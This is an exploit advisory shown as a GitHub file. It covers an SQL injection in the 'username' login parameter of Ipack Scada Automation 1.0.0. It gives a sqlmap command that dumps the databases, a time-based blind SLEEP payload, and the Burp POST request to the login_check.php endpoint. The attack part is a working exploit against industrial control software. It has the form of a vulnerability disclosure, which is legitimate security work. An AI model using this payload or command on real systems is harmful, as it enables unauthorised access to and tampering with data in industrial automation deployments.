paradessia Create Ipack-Scada-Automation.txt History

1 contributor

54 lines (39 sloc) | 1.45 KB

```
# Exploit Title: Ipack Scada Automation  - 'username' SQL Injection
# Google Dork: -
# Date: 2021-11-12
# Exploit Author: Onurhan Erdogdu
# Vendor Homepage: http://www.ipack.com.tr/
# Version: 1.0.0
# Tested on: -


1. Description:
---------------------

Ipack Scada Automation allows SQL Injection via parameter 'username'.
Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.

2. Proof of Concept:
---------------------

In Burpsuite intercept the request from one of the affected pages with
'username' parameter and save it like 'example.txt' Then run SQLmap to extract the
data from the database:

sqlmap -r example.txt --risk=3 --level=3 --dbs --random-agent

3. Example payload:
---------------------

(time-based blind)

username=TEST' AND (SELECT 7204 FROM (SELECT(SLEEP(5)))tirb)-- uiBW&password=TEST&is_ajax=1

4. Burpsuite request:
---------------------

POST /procedure_scripts/login_check.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 42
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: 127.0.0.1
Referer: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

username=TEST&password=TEST&is_ajax=1



Best Regards.
```